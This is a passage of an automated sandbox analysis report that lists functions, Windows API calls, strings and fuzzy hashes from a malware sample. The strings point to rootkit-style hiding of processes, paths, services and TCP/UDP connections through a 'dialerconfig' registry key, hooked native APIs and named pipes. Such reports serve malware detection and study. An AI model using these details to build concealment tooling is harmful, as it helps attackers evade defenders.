Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: fdec734f6e3bb32fcac13bb512798df977dc5b48d372402a5cf5375f05b85460
Instruction ID: 4afe8b27e07181bcedcdab2919f2873aee958e2065663545d86469f51ef79992
Opcode Fuzzy Hash: fdec734f6e3bb32fcac13bb512798df977dc5b48d372402a5cf5375f05b85460
Instruction Fuzzy Hash: A601D6B93443097FD3305E68AD51B7673A9EB51751F20002EF68AA6180CBA168858624

Function 00161316 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0016E2E8: _swprintf.LIBCMT ref: 0016E30E
Part of subcall function 0016E2E8: _strlen.LIBCMT ref: 0016E32F
Part of subcall function 0016E2E8: SetDlgItemTextW.USER32(?,0019E274,?), ref: 0016E38F
Part of subcall function 0016E2E8: GetWindowRect.USER32(?,?), ref: 0016E3C9
Part of subcall function 0016E2E8: GetClientRect.USER32(?,?), ref: 0016E3D5

GetDlgItem.USER32(00000000,00003021), ref: 0016135A
SetWindowTextW.USER32(00000000,001935F4), ref: 00161370

Strings

0, xrefs: 00161319

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0
API String ID: 2622349952-4108050209
Opcode ID: afd5e9be6a0b7d988b20a7b8b6319f0a94ebfa718293e720f65daf889cd9a768
Instruction ID: b6fda2db3ba25b0cec2c5ada56ba275f032350f4f0e385770011b269a01ea336
Opcode Fuzzy Hash: afd5e9be6a0b7d988b20a7b8b6319f0a94ebfa718293e720f65daf889cd9a768
Instruction Fuzzy Hash: D5F0AF34104288BADF550F608C0DBEA3FA9BF04364F0D8218FC4750AA1CB74C9A0EB10

Function 00170FE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00171206,?), ref: 00170FEA
GetLastError.KERNEL32(?), ref: 00170FF6

Part of subcall function 00166C36: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00166C54

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00170FFF

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: 52d96a0061b5d5d1906e30130e930c15aec16ec13eda1a7bd863e9407c614520
Instruction ID: 5b120f54400ef3a3fc39a4ee75f444b5cfe8c08cf7e59c04db3231002dfccd4f
Opcode Fuzzy Hash: 52d96a0061b5d5d1906e30130e930c15aec16ec13eda1a7bd863e9407c614520
Instruction Fuzzy Hash: 02D05E725089307BCA203338AD0AD6F79159B22731F644715F139B56E6CB254EE296A2

Function 0016E29E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,0016DA55,?), ref: 0016E2A3
FindResourceW.KERNEL32(00000000,RTL,00000005,?,0016DA55,?), ref: 0016E2B1

Strings

RTL, xrefs: 0016E2AB

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: b58b435925cce99874eb1ddeeffe52814dbee097cd9d4427f0c1f78b3606ace4
Instruction ID: f0b8116c7137c7189852e75ad8a31f487b24715e42f454daf56866ee67d797ac
Opcode Fuzzy Hash: b58b435925cce99874eb1ddeeffe52814dbee097cd9d4427f0c1f78b3606ace4
Instruction Fuzzy Hash: D3C08C3124071066EF3027B47C0EF836E986B01B55F0D044EB291EA6E1DBE6C9C0C7E1

Analysis Process: twain_32.exePID: 4948, Parent PID: 7116COMMON

Execution Graph

Execution Coverage:	0.3%
Dynamic/Decrypted Code Coverage:	33.3%
Signature Coverage:	0%
Total number of Nodes:	9
Total number of Limit Nodes:	3

Executed Functions

Function 0000024B34512908 Relevance: 3.2, APIs: 2, Instructions: 186
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 0000024B345129AA
LoadLibraryA.KERNELBASE ref: 0000024B34512A31

Memory Dump Source

Source File: 00000002.00000002.2019665355.0000024B34510000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000024B34510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34510000_twain_32.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: f6ddeab5387358d888722616617f0efec67712a96652def8838ee087e5407534
Instruction ID: ed4262e34db381beaf2c198c6c54a619cdbbf383ec5aaf345cf64d037b9f7aba
Opcode Fuzzy Hash: f6ddeab5387358d888722616617f0efec67712a96652def8838ee087e5407534
Instruction Fuzzy Hash: 0E613432B0125187EF6ACF17D468B6CBB91FB05B94F168026EB1917B85EB38E852C700

Function 0000024B34553930 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 0000024B34553948

Strings

dialer, xrefs: 0000024B34553941

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 949ed436222ef7ba0644b0ca804308ca47b9c81469ce6be8bad6d29646da7b56
Instruction ID: 444d615e32078026dcfcf85b658ef5a362f3855be5e17900db7626ea8198546e
Opcode Fuzzy Hash: 949ed436222ef7ba0644b0ca804308ca47b9c81469ce6be8bad6d29646da7b56
Instruction Fuzzy Hash: 2BD0A760B2120B96FF16DFA388C92782764EF24704F4590A4CA0602614D71CCD8DC710

Function 00007FF7959714B0 Relevance: .0, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.2021751568.00007FF795971000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF795970000, based on PE: true

Associated: 00000002.00000002.2021694459.00007FF795970000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2021799627.00007FF79598C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2021921419.00007FF7959B1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2023738044.00007FF795F20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2023794544.00007FF795F22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2023880054.00007FF795F2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2024075384.00007FF795F2F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2024154148.00007FF795F30000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff795970000_twain_32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb5c6534e4c04ebd538560d10e43928af4972f6842d27c7db5461c4125a24275
Instruction ID: b24d9f1b37f6766ebb79ff98fd3342cb52e2fb2b6c5663d8c1a260ced3c0f0e5
Opcode Fuzzy Hash: cb5c6534e4c04ebd538560d10e43928af4972f6842d27c7db5461c4125a24275
Instruction Fuzzy Hash: 3CB0127090431985F3103F21D84126877E06B05F70FC08032C40C0B352CF7C50404B30

Non-executed Functions

Function 0000024B34552CDC Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0000024B34552D80
lstrlenW.KERNEL32 ref: 0000024B34552FBA

Part of subcall function 0000024B34551A14: OpenProcess.KERNEL32 ref: 0000024B34551A3A
Part of subcall function 0000024B34551A14: K32GetModuleFileNameExW.KERNEL32 ref: 0000024B34551A58
Part of subcall function 0000024B34551A14: PathFindFileNameW.SHLWAPI ref: 0000024B34551A67
Part of subcall function 0000024B34551A14: lstrlenW.KERNEL32 ref: 0000024B34551A73
Part of subcall function 0000024B34551A14: StrCpyW.SHLWAPI ref: 0000024B34551A86
Part of subcall function 0000024B34551A14: CloseHandle.KERNEL32 ref: 0000024B34551A94

GetProcAddress.KERNEL32 ref: 0000024B34552D95

Part of subcall function 0000024B34551554: StrCmpIW.SHLWAPI ref: 0000024B34551585

Part of subcall function 0000024B34553930: StrCmpNIW.SHLWAPI ref: 0000024B34553948

StrCmpNIW.SHLWAPI ref: 0000024B34552DD8
lstrlenW.KERNEL32 ref: 0000024B34552F00

Strings

ntdll.dll, xrefs: 0000024B34552D79
\Device\Nsi, xrefs: 0000024B34552DCB
NtQueryObject, xrefs: 0000024B34552D8B

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 2588cc794520ead529bdc0a32c038e4709a5f15ae479e9f47b13431256f42674
Instruction ID: 5c5b8e0daec9f96b87ff6f9188b9990117e12d52893254b783dd3ed5ecd27091
Opcode Fuzzy Hash: 2588cc794520ead529bdc0a32c038e4709a5f15ae479e9f47b13431256f42674
Instruction Fuzzy Hash: B5B1B272A2069082EB668F27D4497BD7BA4FB54B84F5650D6EE0A53BA4EF35CC40C740

Function 0000024B34557E70 Relevance: 10.6, APIs: 7, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 0000024B34557E8C
RtlCaptureContext.NTDLL ref: 0000024B34557EB9
RtlLookupFunctionEntry.NTDLL ref: 0000024B34557ED3
RtlVirtualUnwind.NTDLL ref: 0000024B34557F14
IsDebuggerPresent.KERNEL32 ref: 0000024B34557F68
SetUnhandledExceptionFilter.KERNEL32 ref: 0000024B34557F89
UnhandledExceptionFilter.KERNEL32 ref: 0000024B34557F94

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 1239a149ef62a939d07da7a6345777f7e6476c10c46ebdc58c2fff80381e5b80
Instruction ID: 90b98d75525b3e2d48bc12740e847bae4a34f6bcdfcfb0bc8cdd03adf0e50ab7
Opcode Fuzzy Hash: 1239a149ef62a939d07da7a6345777f7e6476c10c46ebdc58c2fff80381e5b80
Instruction Fuzzy Hash: 6F318F72714B809AEB61CF65E8443EE77A0F794744F45446ADB4E47B98EF38C648CB10

Function 0000024B3455B50C Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 0000024B3455B585
RtlLookupFunctionEntry.NTDLL ref: 0000024B3455B59D
RtlVirtualUnwind.NTDLL ref: 0000024B3455B5D8
IsDebuggerPresent.KERNEL32 ref: 0000024B3455B611
SetUnhandledExceptionFilter.KERNEL32 ref: 0000024B3455B61B
UnhandledExceptionFilter.KERNEL32 ref: 0000024B3455B626

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: b9fdfb6abdc39c0bfa3e984213bb5a27592c3a0080b3e524afb5147b282a99cd
Instruction ID: cfc69f5530ad124ce9089603fc51521ed3bd57a50e07844054b0634479e0035e
Opcode Fuzzy Hash: b9fdfb6abdc39c0bfa3e984213bb5a27592c3a0080b3e524afb5147b282a99cd
Instruction Fuzzy Hash: AB318436614F8096DB61CF36E8483AE77A4F788754F510166EB9E43B98EF38C555CB00

Function 0000024B3455FEF8 Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0000024B3455FF67
WriteFile.KERNEL32 ref: 0000024B3456021E
WriteFile.KERNEL32 ref: 0000024B34560270
GetLastError.KERNEL32 ref: 0000024B34560372
GetLastError.KERNEL32 ref: 0000024B345603D2

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: 85b244371d408b05e75db82bfcedca3f922ea5a775ba2aedb63ed3d562987fa1
Instruction ID: f296295901d8fa7776a2d1f494c46bf385356d41481bd104ebb9cc3ccc27cfe8
Opcode Fuzzy Hash: 85b244371d408b05e75db82bfcedca3f922ea5a775ba2aedb63ed3d562987fa1
Instruction Fuzzy Hash: 10E11333B24B80AAE702CF66D4882ED7BB1F345B98F515196DE4A57B99DB38C41AC700

Function 0000024B34551650 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000024B3455165B
HeapAlloc.KERNEL32 ref: 0000024B3455166A

Part of subcall function 0000024B34551274: GetProcessHeap.KERNEL32 ref: 0000024B3455127A
Part of subcall function 0000024B34551274: HeapAlloc.KERNEL32 ref: 0000024B34551289
Part of subcall function 0000024B34551274: GetProcessHeap.KERNEL32 ref: 0000024B345512A3
Part of subcall function 0000024B34551274: HeapAlloc.KERNEL32 ref: 0000024B345512B4

RegOpenKeyExW.ADVAPI32 ref: 0000024B345516DA
RegOpenKeyExW.ADVAPI32 ref: 0000024B34551707
RegCloseKey.ADVAPI32 ref: 0000024B34551721
RegOpenKeyExW.ADVAPI32 ref: 0000024B34551741
RegCloseKey.ADVAPI32 ref: 0000024B3455175C
RegOpenKeyExW.ADVAPI32 ref: 0000024B3455177C
RegCloseKey.ADVAPI32 ref: 0000024B34551797
RegOpenKeyExW.ADVAPI32 ref: 0000024B345517B7
RegCloseKey.ADVAPI32 ref: 0000024B345517D2
RegOpenKeyExW.ADVAPI32 ref: 0000024B345517F2
RegCloseKey.ADVAPI32 ref: 0000024B3455180D
RegOpenKeyExW.ADVAPI32 ref: 0000024B3455182D
RegCloseKey.ADVAPI32 ref: 0000024B34551848
RegOpenKeyExW.ADVAPI32 ref: 0000024B34551868
RegCloseKey.ADVAPI32 ref: 0000024B34551883
RegOpenKeyExW.ADVAPI32 ref: 0000024B345518A3
RegCloseKey.ADVAPI32 ref: 0000024B345518BE
RegCloseKey.ADVAPI32 ref: 0000024B345518C8

Part of subcall function 0000024B345512C8: RegQueryInfoKeyW.ADVAPI32 ref: 0000024B34551326
Part of subcall function 0000024B345512C8: GetProcessHeap.KERNEL32 ref: 0000024B34551334
Part of subcall function 0000024B345512C8: HeapAlloc.KERNEL32 ref: 0000024B34551345
Part of subcall function 0000024B345512C8: RegEnumValueW.ADVAPI32 ref: 0000024B345513A1
Part of subcall function 0000024B345512C8: GetProcessHeap.KERNEL32 ref: 0000024B345513E9
Part of subcall function 0000024B345512C8: HeapAlloc.KERNEL32 ref: 0000024B345513F7
Part of subcall function 0000024B345512C8: GetProcessHeap.KERNEL32 ref: 0000024B3455141B
Part of subcall function 0000024B345512C8: HeapFree.KERNEL32 ref: 0000024B34551429
Part of subcall function 0000024B345512C8: lstrlenW.KERNEL32 ref: 0000024B34551432
Part of subcall function 0000024B345512C8: GetProcessHeap.KERNEL32 ref: 0000024B34551440
Part of subcall function 0000024B345512C8: HeapAlloc.KERNEL32 ref: 0000024B3455144E

Strings

udp, xrefs: 0000024B3455189C
process_names, xrefs: 0000024B34551775
pid, xrefs: 0000024B3455173A
tcp_remote, xrefs: 0000024B34551861
paths, xrefs: 0000024B345517B0
SOFTWARE\dialerconfig, xrefs: 0000024B345516BA
service_names, xrefs: 0000024B345517EB
tcp_local, xrefs: 0000024B34551826
startup, xrefs: 0000024B345516FD

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 1a30f3953b7b2857fef7ab9bb527f69cc88a70ac074ccf0af09289a77df583cb
Instruction ID: e90a5aa5c89fe02bbc84e9b332a465cb597a200f043077e6c4b51a4a483b4005
Opcode Fuzzy Hash: 1a30f3953b7b2857fef7ab9bb527f69cc88a70ac074ccf0af09289a77df583cb
Instruction Fuzzy Hash: DC713E36F20A5096EB219F67E8586AD3FB4F794B98F422191DE4E47B28EF38C445C300

Function 0000024B345512C8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000024B34551326
GetProcessHeap.KERNEL32 ref: 0000024B34551334
HeapAlloc.KERNEL32 ref: 0000024B34551345
RegEnumValueW.ADVAPI32 ref: 0000024B345513A1

Part of subcall function 0000024B34551554: StrCmpIW.SHLWAPI ref: 0000024B34551585

GetProcessHeap.KERNEL32 ref: 0000024B345513E9
HeapAlloc.KERNEL32 ref: 0000024B345513F7
GetProcessHeap.KERNEL32 ref: 0000024B3455141B
HeapFree.KERNEL32 ref: 0000024B34551429
lstrlenW.KERNEL32 ref: 0000024B34551432
GetProcessHeap.KERNEL32 ref: 0000024B34551440
HeapAlloc.KERNEL32 ref: 0000024B3455144E
StrCpyW.SHLWAPI ref: 0000024B34551470
GetProcessHeap.KERNEL32 ref: 0000024B34551485
HeapFree.KERNEL32 ref: 0000024B34551493

Strings

d, xrefs: 0000024B34551365

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: b748d707dce532ba85059e887555c778ed1ca062867acd86e7106c3b72fc9f19
Instruction ID: 3407295026c361d9330cb41a95ea245ed41110f4788d19868229ae86b4a20850
Opcode Fuzzy Hash: b748d707dce532ba85059e887555c778ed1ca062867acd86e7106c3b72fc9f19
Instruction Fuzzy Hash: DF516D72A14B44E3EB15CF63E5483AEBBA1F799B80F058164DA8A07B14DF3CC456CB40

Function 0000024B34551EB4 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 0000024B34551EBF

Part of subcall function 0000024B34552174: GetModuleHandleA.KERNEL32 ref: 0000024B3455218C
Part of subcall function 0000024B34552174: GetProcAddress.KERNEL32 ref: 0000024B3455219D

Part of subcall function 0000024B34555C10: GetCurrentThreadId.KERNEL32 ref: 0000024B34555C4B

Strings

sechost.dll, xrefs: 0000024B34551FD9
EnumServiceGroupW, xrefs: 0000024B34551F90
ntdll.dll, xrefs: 0000024B34551ECD
EnumServicesStatusExW, xrefs: 0000024B34551FB1, 0000024B34551FD2
NtQueryDirectoryFileEx, xrefs: 0000024B34551F3C
NtDeviceIoControlFile, xrefs: 0000024B34551FF6
NtEnumerateValueKey, xrefs: 0000024B34551F76
advapi32.dll, xrefs: 0000024B34551F97, 0000024B34551FB8
NtResumeThread, xrefs: 0000024B34551F02
NtEnumerateKey, xrefs: 0000024B34551F59
NtQuerySystemInformation, xrefs: 0000024B34551EE5
NtQueryDirectoryFile, xrefs: 0000024B34551F1F

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 4311b3b4e112faf7cd717d4cb8614ddd441db72e36ac1e322346e5d8367ce93d
Instruction ID: ea0b892fb279d8debb9c3f36592e9dd5128f69302e407fab3566eeabda5e6e7d
Opcode Fuzzy Hash: 4311b3b4e112faf7cd717d4cb8614ddd441db72e36ac1e322346e5d8367ce93d
Instruction Fuzzy Hash: 7A31C460E2194AB1FB07EFA7E8596E83B21F745344F8764D3A50A12166AF3CC649C780

Function 0000024B345523F0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 0000024B34552405
GetCurrentProcessId.KERNEL32 ref: 0000024B3455240F

Part of subcall function 0000024B345519AC: OpenProcess.KERNEL32 ref: 0000024B345519CA
Part of subcall function 0000024B345519AC: IsWow64Process.KERNEL32 ref: 0000024B345519E0
Part of subcall function 0000024B345519AC: CloseHandle.KERNEL32 ref: 0000024B345519FB

CreateFileW.KERNEL32 ref: 0000024B34552468
WriteFile.KERNEL32 ref: 0000024B34552490
ReadFile.KERNEL32 ref: 0000024B345524AF
CloseHandle.KERNEL32 ref: 0000024B345524B8

Strings

\\.\pipe\dialerchildproc32, xrefs: 0000024B3455243F
\\.\pipe\dialerchildproc64, xrefs: 0000024B34552438

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: 81a5590feb268d746862aeeaca95d5a7bb0e3fb4412a03f66270e8c9225f983f
Instruction ID: b6321b7cde6eeda92140478d89bf033faffef8b951ee285382cb097700a6067e
Opcode Fuzzy Hash: 81a5590feb268d746862aeeaca95d5a7bb0e3fb4412a03f66270e8c9225f983f
Instruction Fuzzy Hash: 1C213036A24B4093FB11CF26F54836A7BA0F789BA4F515255EA5942FA8DF3CC549CF00

Function 0000024B3455104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 97
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000024B345510AB
RegEnumValueW.ADVAPI32 ref: 0000024B3455110E
GetProcessHeap.KERNEL32 ref: 0000024B34551155
HeapAlloc.KERNEL32 ref: 0000024B34551163
GetProcessHeap.KERNEL32 ref: 0000024B34551187
HeapFree.KERNEL32 ref: 0000024B34551195

Strings

d, xrefs: 0000024B345510CE

Memory Dump Source

Source File: 00000002.00000002.2019851682.0000024B34550000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000024B34550000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34550000_twain_32.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: ed3eaeac9b5240f017c69614fb8be245425dbd9313f990ab10755c486963d35d
Instruction ID: 8cad0056f30da436b6ecf3622d9a60668c047e1aba9814d6c73bd6228e9fdf64
Opcode Fuzzy Hash: ed3eaeac9b5240f017c69614fb8be245425dbd9313f990ab10755c486963d35d
Instruction Fuzzy Hash: 65419233A14B80D7E761DF62E5487AEBBA1F389B94F018165DB8A07B58DF38D164CB40

Function 0000024B345169F0 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000024B34516A18
__scrt_acquire_startup_lock.LIBCMT ref: 0000024B34516A6A
_RTC_Initialize.LIBCMT ref: 0000024B34516A98
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000024B34516ABE
__scrt_release_startup_lock.LIBCMT ref: 0000024B34516AE9

Memory Dump Source

Source File: 00000002.00000002.2019665355.0000024B34510000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000024B34510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24b34510000_twain_32.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction ID: 70c786460b94815fabdf2fd04ae17c75ffcec4a25f331f08c2e267900124707f
Opcode Fuzzy Hash: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction Fuzzy Hash: F281E521F0228587FF53AF2B946D7596ED0EB97784F4740EAEE05437A6DB39C8868700

Function 0000024B345575F0 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000024B34557618
